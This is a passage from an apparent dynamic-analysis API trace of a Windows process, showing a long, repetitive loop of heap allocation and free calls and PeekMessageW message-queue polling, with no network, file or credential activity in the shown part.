lpMem=0xeec950 | out: hHeap=0xe80000) returned 1 [0136.331] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0136.331] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeafa08 [0136.331] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf938 [0136.331] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0x1055590 [0136.331] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1055590 | out: hHeap=0xe80000) returned 1 [0136.331] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf938 | out: hHeap=0xe80000) returned 1 [0136.331] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeafa08 | out: hHeap=0xe80000) returned 1 [0136.331] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0xeeca50 [0136.331] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0136.331] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeeca50 | out: hHeap=0xe80000) returned 1 [0136.332] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0136.332] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf9d8 [0136.332] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeafa38 [0136.332] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0x1055590 [0136.332] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1055590 | out: hHeap=0xe80000) returned 1 [0136.332] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeafa38 | out: hHeap=0xe80000) returned 1 [0136.332] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf9d8 | out: hHeap=0xe80000) returned 1 [0136.332] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0xeeca50 [0136.332] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0136.332] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeeca50 | out: hHeap=0xe80000) returned 1 [0136.332] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0136.333] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf8f8 [0136.333] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf998 [0136.333] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0x1055590 [0136.333] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1055590 | out: hHeap=0xe80000) returned 1 [0136.333] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf998 | out: hHeap=0xe80000) returned 1 [0136.333] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf8f8 | out: hHeap=0xe80000) returned 1 [0136.333] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0xeec6d0 [0136.333] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0136.333] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeec6d0 | out: hHeap=0xe80000) returned 1 [0136.333] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0136.333] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf8f8 [0136.334] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf988 [0136.334] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0x1055590 [0136.334] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1055590 | out: hHeap=0xe80000) returned 1 [0136.334] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf988 | out: hHeap=0xe80000) returned 1 [0136.334] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf8f8 | out: hHeap=0xe80000) returned 1 [0136.334] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0xeecb50 [0136.334] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0136.334] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeecb50 | out: hHeap=0xe80000) returned 1 [0136.334] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0136.334] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf888 [0136.335] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf9d8 [0136.335] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0x1055590 [0136.335] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1055590 | out: hHeap=0xe80000) returned 1 [0136.335] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf9d8 | out: hHeap=0xe80000) returned 1 [0136.335] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf888 | out: hHeap=0xe80000) returned 1 [0136.335] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0xeec610 [0136.335] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0136.335] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeec610 | out: hHeap=0xe80000) returned 1 [0136.652] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0136.652] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf888 [0136.680] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf928 [0136.680] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0x1055590 [0136.680] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1055590 | out: hHeap=0xe80000) returned 1 [0136.680] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf928 | out: hHeap=0xe80000) returned 1 [0136.680] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf888 | out: hHeap=0xe80000) returned 1 [0136.680] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0xeec750 [0136.680] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0136.681] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeec750 | out: hHeap=0xe80000) returned 1 [0136.681] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0136.681] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf978 [0136.681] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf858 [0136.681] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0x1055590 [0136.681] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1055590 | out: hHeap=0xe80000) returned 1 [0136.681] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf858 | out: hHeap=0xe80000) returned 1 [0136.681] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf978 | out: hHeap=0xe80000) returned 1 [0136.681] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0xeec650 [0136.681] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0136.682] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeec650 | out: hHeap=0xe80000) returned 1 [0136.682] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0136.682] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf8f8 [0136.682] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf9d8 [0136.682] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0x1055710 [0136.683] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1055710 | out: hHeap=0xe80000) returned 1 [0136.683] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf9d8 | out: hHeap=0xe80000) returned 1 [0136.683] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf8f8 | out: hHeap=0xe80000) returned 1 [0136.683] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0xeec690 [0136.683] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0136.684] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeec690 | out: hHeap=0xe80000) returned 1 [0136.684] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0136.684] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeafa38 [0136.684] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf8b8 [0136.684] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0x1055710 [0136.684] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1055710 | out: hHeap=0xe80000) returned 1 [0136.684] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf8b8 | out: hHeap=0xe80000) returned 1 [0136.684] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeafa38 | out: hHeap=0xe80000) returned 1 [0136.684] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0xeec650 [0136.684] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0136.685] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeec650 | out: hHeap=0xe80000) returned 1 [0136.685] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0136.685] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf868 [0136.685] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf858 [0136.685] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0x1055710 [0136.685] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1055710 | out: hHeap=0xe80000) returned 1 [0136.685] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf858 | out: hHeap=0xe80000) returned 1 [0136.685] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf868 | out: hHeap=0xe80000) returned 1 [0136.685] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0xeeca50 [0136.685] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0136.686] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeeca50 | out: hHeap=0xe80000) returned 1 [0136.686] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0136.686] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf9e8 [0136.686] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf948 [0136.686] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0x1055590 [0136.686] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1055590 | out: hHeap=0xe80000) returned 1 [0136.686] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf948 | out: hHeap=0xe80000) returned 1 [0136.686] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf9e8 | out: hHeap=0xe80000) returned 1 [0136.686] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0xeec410 [0136.686] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0136.687] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeec410 | out: hHeap=0xe80000) returned 1 [0136.687] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0136.687] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf9c8 [0136.687] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf9b8 [0136.687] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0x1055590 [0136.687] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1055590 | out: hHeap=0xe80000) returned 1 [0136.687] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf9b8 | out: hHeap=0xe80000) returned 1 [0136.687] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf9c8 | out: hHeap=0xe80000) returned 1 [0136.687] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0xeec810 [0136.687] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0136.688] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeec810 | out: hHeap=0xe80000) returned 1 [0136.688] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0136.688] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeafa18 [0136.688] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf9c8 [0136.688] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0x1055750 [0136.689] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1055750 | out: hHeap=0xe80000) returned 1 [0136.689] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf9c8 | out: hHeap=0xe80000) returned 1 [0136.689] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeafa18 | out: hHeap=0xe80000) returned 1 [0136.689] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0xeec6d0 [0136.689] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0136.690] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeec6d0 | out: hHeap=0xe80000) returned 1 [0136.690] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0136.690] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf958 [0136.690] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf8b8 [0136.690] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0x1055590 [0136.690] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1055590 | out: hHeap=0xe80000) returned 1 [0136.690] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf8b8 | out: hHeap=0xe80000) returned 1 [0136.690] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf958 | out: hHeap=0xe80000) returned 1 [0136.690] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0xeec450 [0136.690] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0136.691] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeec450 | out: hHeap=0xe80000) returned 1 [0136.691] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0136.691] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf988 [0136.691] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf888 [0136.691] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0x1055710 [0136.691] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1055710 | out: hHeap=0xe80000) returned 1 [0136.691] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf888 | out: hHeap=0xe80000) returned 1 [0136.691] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf988 | out: hHeap=0xe80000) returned 1 [0136.691] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0xeec5d0 [0136.691] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0136.692] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeec5d0 | out: hHeap=0xe80000) returned 1 [0136.692] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0136.692] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf918 [0136.692] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeafa18 [0136.692] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0x1055590 [0136.692] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1055590 | out: hHeap=0xe80000) returned 1 [0136.692] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeafa18 | out: hHeap=0xe80000) returned 1 [0136.692] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf918 | out: hHeap=0xe80000) returned 1 [0136.692] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0xeec610 [0136.692] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0136.693] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeec610 | out: hHeap=0xe80000) returned 1 [0136.693] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0136.693] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf8b8 [0136.693] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf998 [0136.693] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0x1055590 [0136.693] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1055590 | out: hHeap=0xe80000) returned 1 [0136.693] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf998 | out: hHeap=0xe80000) returned 1 [0136.693] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf8b8 | out: hHeap=0xe80000) returned 1 [0136.693] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0xeecb50 [0136.693] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0136.693] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeecb50 | out: hHeap=0xe80000) returned 1 [0136.693] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0136.694] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf948 [0136.694] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeafa18 [0136.694] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0x1055590 [0136.694] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1055590 | out: hHeap=0xe80000) returned 1 [0136.694] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeafa18 | out: hHeap=0xe80000) returned 1 [0136.694] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf948 | out: hHeap=0xe80000) returned 1 [0136.694] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0xeec610 [0136.694] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0136.694] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeec610 | out: hHeap=0xe80000) returned 1 [0136.694] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0136.694] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf988 [0136.694] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf868 [0136.696] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0x1055590 [0136.696] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1055590 | out: hHeap=0xe80000) returned 1 [0136.697] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf868 | out: hHeap=0xe80000) returned 1 [0136.697] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf988 | out: hHeap=0xe80000) returned 1 [0136.697] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0xeec610 [0136.697] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0136.697] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeec610 | out: hHeap=0xe80000) returned 1 [0136.697] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0136.697] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeafa08 [0136.697] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf868 [0136.697] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0x1055590 [0136.697] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1055590 | out: hHeap=0xe80000) returned 1 [0136.697] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf868 | out: hHeap=0xe80000) returned 1 [0136.697] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeafa08 | out: hHeap=0xe80000) returned 1 [0136.697] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0xeec5d0 [0136.698] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0136.698] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeec5d0 | out: hHeap=0xe80000) returned 1 [0136.698] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0136.698] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf9d8 [0136.698] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf858 [0136.698] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0x1055590 [0136.698] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1055590 | out: hHeap=0xe80000) returned 1 [0136.698] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf858 | out: hHeap=0xe80000) returned 1 [0136.698] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf9d8 | out: hHeap=0xe80000) returned 1 [0136.698] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0xeec610 [0136.698] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0136.699] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeec610 | out: hHeap=0xe80000) returned 1 [0136.699] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0136.699] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf918 [0136.699] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf9f8 [0136.699] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0x1055710 [0136.699] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1055710 | out: hHeap=0xe80000) returned 1 [0136.699] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf9f8 | out: hHeap=0xe80000) returned 1 [0136.699] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf918 | out: hHeap=0xe80000) returned 1 [0136.699] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0xeec5d0 [0136.699] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: 